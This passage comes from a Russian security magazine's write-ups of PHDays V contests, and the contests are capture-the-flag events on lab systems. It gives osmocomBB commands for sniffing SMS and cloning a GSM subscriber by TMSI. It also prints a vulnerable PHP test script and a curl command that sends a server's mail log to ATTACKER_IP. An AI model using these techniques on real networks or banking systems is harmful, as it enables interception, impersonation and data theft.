Содержание. __ от редакции. Биография сетевого периметра в картинках
Скачать 5.92 Mb.
|
IMSI — международный идентификационный номер абонен- та; + MSISDN — номер абонента сети сотовой связи, назначаемый оператором; + TMSI — временный идентификационный номер абонента, выдаваемый в случайном порядке в процессе регистрации в сети. IMSI — именно этот волшебный номер прописан на SIM-карте. Например, имеет вид 250-01-ХХХХХХХХХХ 250 — это код страны (Россия), 01 — код оператора (МТС), ХХХХХХХХХХ — уникальный ID. По IMSI происходит идентификация и авторизация абонента в сети оператора. // наша школа 83 53 55 57 59 61 63 65 67 69 71 73 75 77 79 81 83 85 87 89 91 93 95 97 99 101 103 03 05 07 09 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51 В нашем случае с SIM-картой sysmocom 901 — код страны, 70 — код оператора, 0000005625 — ID абонента внутри сети оператора (см. рисунок). Второе, что необходимо помнить: MSISDN, номер вашего мо- бильного (например, +79171234567) — НЕ хранится на SIM-карте. Он хранится в базе оператора. Во время звонка базовая станция под- ставляет этот номер согласно таблице соответствия IMSI MSISDN (в реальной сети это функция MSC/VLR). Или не подставляет (аноним- ный звонок). TMSI — это временный идентификатор в 4 байта. Выделяется або- ненту после авторизации. Вооружились знаниями, продолжаем. Запускаем стек программ osmocombb. Тут все просто. Предварительно подключаем наш кабель к компьютеру и пробра- сываем его внутрь виртуалки. В виртуальной машине должно поя- виться устройство /dev/ttyUSB0. Далее подключаем ВыКЛЮЧЕННый телефон к кабелю через аудиоджек. Открываем две консоли. В первой запускаем команду: #/osmocom-bb-master/src/host/osmocon/osmocon -p /dev/ttyUSB0 -m c123xor -c /osmocom-bb-master/src/target/firmware/board/ compal_e88/layer1.highram.bin И нажимаем красную кнопку включения телефона. Этой командой мы запускаем загрузку прошивки в телефон, а также открытие сокета, через который будет идти общение наших программ с телефоном. Это так называемый layer 1 модели OSI. Реализует физическое взаи- модействие с сетью. Вот что примерно выдает в консоль layer1 после загрузки в телефон (впрочем, нас это не интересует). Во второй консоли запускаем команду: #/osmocom-bb-sylvain/src/host/layer23/src/misc/ccch_scan -a 774 -i 127.0.0.1 Эта команда реализует layer 2-3 модели OSI. А именно прослушива- ние эфира в поисках пакетов общего управления СССH (Common Control Channel). -a 774 — обозначает ARFCN, на котором мы вещаем. Да-да, никому не нужно искать канал, на котором работает наш оператор. Все для вас, дорогие участники :) -i 127.0.0.1 — интерфейс, на который мы отправим наши пакеты. И запускаем Wireshark. Он все сделает за нас, а именно соберет необ- ходимые пакеты в SMS, распарсит TPDU/PDU-формат и покажет нам все в удобочитаемом виде. Мы помним, что для первого задания нам нужно перехватить SMS. Для удобства просмотра в Wireshark ставим фильтр на gsm_sms-па- кеты, чтобы не засорять экран. Видим SMS, которые проходят тем временем в эфире. Поздравляем, вы выполнили первое задание! И если бы сейчас вы были на PHDays V, то в эфире вы могли бы увидеть SMS с кодом для получения пу- блей — игровой валюты. Трансляция кода происходила на протяже- нии двух дней постоянно, каждые 5 минут, даже ночью. Для второго задания также необходимо запустить layer1 (а можно и не выключать его после прошлого раза). Во второй консоли в качестве layer2-3 запускаем #/osmocom-bb-master/src/host/layer23/src/mobile/mobile -i 127.0.0.1 positive research 2016 84 52 54 56 58 60 62 64 66 68 70 72 74 76 78 80 82 84 86 88 90 92 94 96 98 100 102 02 04 06 08 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50 И тут все просто. Приложение mobile реализует функции виртуаль- ного телефона. Чтобы получить доступ к этим функциям, открываем третью консоль и запускаем: $ telnet 127.0.0.1 4247 В консоли откроется Cisco-подобный интерфейс. Включаем расши- ренный режим: OsmocomBB> enable Далее выводим список доступных команд: OsmocomBB # list Интересно, а что делает команда clone? Кто бы мог подумать, она пол- ностью оправдывает свое название! С помощью этой команды можно клонировать абонента сети. Из справки к команде видим, что в ка- честве аргумента она принимает TMSI. Если нам удастся узнать TMSI жертвы и подставить его в наш телефон, то мы сможем подключиться к сети вместо исходного абонента. В течение всей конференции мы пытались отправить SMS на номер, которого не было в сети. И если бы участник догадался подставить TMSI, запрашиваемый базовой станцией, в качестве параметра ко- манды clone, то он получил бы следующий флаг с кодом для валюты! OsmocomBB # clone 1 5cce0f7f А увидеть запрос базовой станции к абоненту было очень просто. Можно было посмотреть в Wireshark пакеты gsmtap с запросом Paging Requests Type 1 (запрос базовой станции при осуществлении звонка). Или во второй консоли, где запущен mobile: Прописываем TMSI и нам приходит SMS, предназначенная исходному абоненту. Для третьего задания нам достаточно уже полученных данных. Как и в предыдущем задании, необходимо выдать себя за другого абонен- та. Мы знаем его номер, но не знаем его TMSI. Что же делать? Все про- сто: достаточно лишь отправить SMS или инициировать звонок этому абоненту, а именно на номер 77777. И, как и в предыдущем примере, мы увидим запросы базовой станции к абоненту 77777. Важный мо- мент: звонок и SMS необходимо проводить с другого телефона, ина- че наша Motorola не сможет увидеть широковещательные запросы базовой станции, предназначенные целевому абоненту. Далее прописываем TMSI в наш телефон с помощью команды clone — и совершаем звонок на заветный номер! OsmocomBB # call 1 2000 Теперь берем в руки Motorola и слушаем код. Если участники все сде- лали правильно, то они услышат код. В противном случае — услышат анекдот :) Кроме всего прочего в сети проходили SMS, в которых говорилось о том, что пришло новое голосовое сообщение. Если бы участники не поленились и зашли в телефонную книгу аппарата, то они увидели бы номер голосовой почты. Позвонив по этому номеру, можно было услышать инсайдерскую информацию — данные о росте и падении курса акции MiTM Mobile. Четвертое задание было связано не напрямую с GSM-связью, но с уязвимыми SIM-картами, которые используются для доступа в сеть. Каждой команде помимо телефона выдавалась SIM-карта с уста- новленным на нее приложением, отображающим приглашение «Welcome to PHDays V». Для поиска уязвимых апплетов Lukas Kuzmiak и Karsten Nohl создали утилиту SIMTester. Отличительная особенно- стью этой утилиты — возможность работы через osmocom-теле- фоны. Вставляем SIM-карту в телефон, подключаем к компьютеру и запускаем поиск. Через пару минут проанализируем полученные данные: Помимо множества приложений, разглашающих информацию, ко- торой достаточно для брутфорса ключей, нам заботливо выделили красным цветом приложение, которое не требует для доступа ника- ких секретных ключей. Проанализируем его отдельно: Последние два байта ответа SIM-карты — это байты статуса, где, например, 0x9000 означает, что команда завершилась успешно. В данном случае мы получаем 0x9124, что означает наличие 36 байт, // наша школа 85 53 55 57 59 61 63 65 67 69 71 73 75 77 79 81 83 85 87 89 91 93 95 97 99 101 103 03 05 07 09 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51 которые хочет нам вернуть карта. Изменим немного код программы и посмотрим, что это за данные: Декодируем и получаем: >>> ‘D0228103012100820281028D1704596F752061726520636C6F73652C20626 16420434C419000 '.decode(' hex ') '\ xd0 "\x81\x03\x01!\x00\x82\x02\x81\x02\x8d\x17\x04You are close, bad CLA\x90\x00' Перебираем все возможные CLA и INS для инструкций, отправляе- мых в бинарной SMS, — и получаем наш флаг: >>> 'D0378103012100820281028D2C04596F757220666C61673A203530663432386 5623762623163313234323231383333366435306133376239659000' .decode( 'hex' ) '\xd07\x81\x03\x01!\x00\x82\x02\x81\x02\x8d,\x04Your flag: 50f428eb7bb1c1242218336d50a37b9e\x90\x00' поБедители и Сюрпризы конкурСа Попробовать свои силы в конкурс MiTM Mobile могли не только ко- манды CTF, но и все посетители PHDays: желающим выдавалось все необходимое оборудование и виртуальная машина. В итоге в конкур- се участвовало более десяти человек, не считая команд CTF. Однако единственным, кому удалось перехватить SMS уже к середи- не первого дня, оказался глеб Чербов, который и стал победителем конкурса. Три задания выполнила только команда More Smoked Leet Chicken к началу второго дня. Четвертое задание было доступно только для участников CTF, но выполнить его не удалось никому. Посетители форума могли заметить периодическое пропадание LTE, 3G, а иногда вообще терялась сеть при приближении к зоне работы GSM-глушилок. Некоторые получали сообщения с номера 74957440144 или от «Анонима» с текстом «SMS_from_bank» или другой «безобидный спам». Это было связано с работой сотовой сети MiTM Mobile. А еще к исходу второго дня некоторые «везунчики» получили такое сообщение: Эта шутка уже не имела отношения к работе MiTM Mobile, но еще раз напоминает всем о соблюдении элементарных правил безопасности. экСпертный центр pT esc поможет выявить Скрытые атаки Открытие экспертного центра безопасности Positive Technologies Expert Security Center было анонсировано на SOC-Forum 11 ноября 2015 года в Москве. В связи с растущей сложностью угроз и увеличением ущерба от инцидентов становит- ся все очевидней, что автоматизированные средства защиты — необходимое, но не достаточное условие работы служб безопасности. PT ESC предлагает компаниям и центрам мониторинга мощную экспертизу, возможность прогнозировать угрозы, проактивно реагировать на опасные инциденты и проводить ретроспективный анализ для обнаружения сложных и целенаправленных атак. Каждый кейс клиентов PT ESC анализируется специалистами, которые имеют многолетний опыт анализа угроз и решения проблем безопасности в IT-инфраструктурах крупнейших компаний России, включая экспертное сопровождение таких мероприятий, как универсиада в Казани и Олимпийские игры в Сочи. positive research 2016 86 52 54 56 58 60 62 64 66 68 70 72 74 76 78 80 82 84 86 88 90 92 94 96 98 100 102 02 04 06 08 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50 кто взломал электроподСтанцию: ИТОгИ КОНКУРСА DIGITAL SUBSTATION TAKEOVER В рамках конкурса Digital Substation Takeover, представленного iGRIDS, у посетителей PHDays была возможность попробовать свои силы во взломе настоящей электрической подстанции, построен- ной по стандарту IEC 61850. Два дня участники пытались провести успешную атаку и получить контроль над системой управления электрооборудованием. Александр Лашков habrahabr.ru/company/pt/blog/259905/ что нужно Было Сделать Созданный специально для конкурса макет, имитировавший под- станцию высокого напряжения в 500 кВ, включал коммутаторы, серверы времени, контроллеры и устройства релейной защиты, ко- торые реально используются в современных высоковольтных элек- трических сетях для защиты от аварийных и внештатных ситуаций (короткие замыкания, повреждения ЛЭП и т. п.). Участникам предлагалось несколько сценариев, каждый из которых предполагал в конечном счете несанкционированное управление коммутационными аппаратами — от простого отключения выключа- теля до включения заземляющих ножей в обход оперативных блоки- ровок. Самое сложное задание — создание аварийной ситуации на объекте — должно было, по задумке организаторов, сопровождать- ся фейерверком из горящих проводов на установленной рядом ими- тации воздушной линии электропередач. В конкурсе приняли участие около 50 посетителей PHDays и несколь- ко команд CTF. техничеСкие подроБноСти В конкурсном макете было задействовано следующее оборудование: + самая популярная система управления энергообъектом SICAM PAS v. 7.0; + самые популярные терминалы релейной защиты и контроллеры; + серверы времени GPS и гЛОНАСС; + промышленные коммутаторы. ход Соревнования Поскольку конкурс был представлен в программе PHDays впервые, а сама его тема довольно специфична, весь первый день у участников ушел на то, чтобы разобраться, что такое релейная защита, выключате- ли и оперативные блокировки. Приходилось искать и анализировать большие объемы информации (в Википедии, на специализированных форумах, на сайтах производителей оборудования). Конкурс включал в себя несколько заданий, которые участники вы- полняли с разным успехом: + временное разрушение информационной инфраструктуры подстанции (удалось осуществить 6 раз); + перепрограммирование сервера времени (1 успешное выполнение); + несанкционированное отключение потребителей (выполнено 2 раза); + обнаружение ранее неизвестной уязвимости (1 раз). Самое главное и сложное задание — перехват управления первичным оборудованием и подачу команды в обход блокировки — никому вы- полнить не удалось, хотя одна из команд-участниц была близка к этому. Первое место занял Сергей Сидоров, второе Александр Калинин. Кроме того, взлом подстанции принес очки двум командам CTF — RDot и ReallyNonamesFor. Организаторы соревнования из компании iGRIDS фиксировали и ана- лизировали все, что происходило на стенде. Уже к середине конкурса стало понятно, что спектр угроз для созданной ими системы шире, чем предполагалось изначально; разработчики обещают учесть все новые варианты атак в своей работе и следующих версиях средств защиты. // наша школа 87 53 55 57 59 61 63 65 67 69 71 73 75 77 79 81 83 85 87 89 91 93 95 97 99 101 103 03 05 07 09 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51 как взламывали Банк НА PHDAYS V Юрий Дьяченко habrahabr.ru/company/pt/blog/259609/ В рамках Positive Hack Days V прошел традиционный конкурс по ана- лизу защищенности систем ДБО «Большой ку$h». Участникам были предоставлены копии виртуальных машин, содержащие уязвимые веб-сервисы ДБО, аналогичные реальным системам. За один час участ- ники должны были воспользоваться проблемами безопасности, обна- руженными при анализе образа системы ДБО, и перевести деньги из банка на свой счет. В конкурсе приняли участие около 30 человек и несколько команд CTF, призовой фонд составил 40 тысяч рублей. Специально для конкурса «Большой ку$h» была разработана система ДБО PHDays iBank, содержащая уязвимости, которые встречаются в реальных банковских системах. Система была разделена на две ча- сти — frontend и backend, предоставляющий простейший RESTful API. Поэтому участникам было необходимо ознакомиться еще и с протоколом взаимодействия частей ДБО. Как правило, в системах ДБО присутствуют не топорные ошибки без- опасности, позволяющие провести прямую атаку с внедрением или исполнением зловредного кода, а логические уязвимости (слабые проверки, приводящие к утечке важных данных). Именно на них был сделан акцент в конкурсной системе. В PHDays iBank было заложено 7 комбинаций уязвимостей, на каждую комбинацию приходилось по 10 банковских счетов виртуальных пользователей, на которых хранились деньги (чем сложнее уязви- мость, тем больше денег на счете). Участники могли проводить следующие атаки: + брутфорс по спискам популярных паролей; + взлом аккаунтов с двухфакторной авторизацией (обход проверок); + эксплуатация уязвимостей в алгоритмах сброса паролей; + взаимодействие с тестовым сценарием, контролирующим ра- ботоспособность API backend (обход проверок доступа, чтение произвольных файлов); + обход защиты механизма отложенных платежей (данная атака могла быть использована и для похищения денег со счетов дру- гих конкурсантов). неСколько уязвимоСтей, заложенных в СиСтему Тестовый сценарий содержал следующий код: if ($_SERVER[ 'HTTP_HOST' ] != 'ibank.dev' ) { exit ; } if (empty($_GET[ 'url' ])) { exit ; } $parts = parse_url($_GET[ 'url' ]); $port = empty($parts[ 'port' ]) ? '' : ':' . $parts[ 'port' ]; $url = "http://{$parts['host']}$port/status" ; $ch = curl_init(); curl_setopt_array($ch, [ // CURLOPT_URL => $_GET['url'], CURLOPT_URL => $url, CURLOPT_HEADER => false, CURLOPT_RETURNTRANSFER => true, ]); if (!empty($_GET[ 'params' ])) { curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $_GET[ 'params' ] ]); } var_dump(curl_exec($ch)); curl_close($ch); Проверку имени узла можно обойти. Зная про возможность переда- чи файлов и используя символ @ в значении параметра, можно про- вести следующую атаку: curl -H 'Host: ibank.dev' 'http://SERVER_IP/api_test.php?url=http://ATTACKER_IP/¶ms\[a\]=@ / var/www/frontend/data/logs/mail.log' Получив содержимое журнала отправленных сообщений, участник мог найти в них пароли к учетным записям, которые использовали систему восстановления пароля. Для обхода двухфакторной аутентификации использовалась уязви- мость в Authy, опубликованная незадолго до конкурса. Выяснилось, что не все участники были с ней знакомы, и поэтому работали по ста- ринке, перебирая возможные значения. Участники могли не только атаковать систему ДБО, чтобы выве- сти средства из банка, но и атаковать счета друг друга, уводя с них деньги. Именно по этому пути пошли члены команды More Smoked Leet Chicken, которые выиграли соревнование. В итоге победители заработали больше 15 тысяч рублей. Стас Поволоцкий, ставший вто- рым, смог украсть из конкурсного банка 3200 рублей. Команда RDot, занявшая третье место, сумела найти и проэксплуатировать больше всех уязвимостей, однако ей не удалось защитить украденные день- ги, которые были похищены командой More Smoked Leet Chicken. |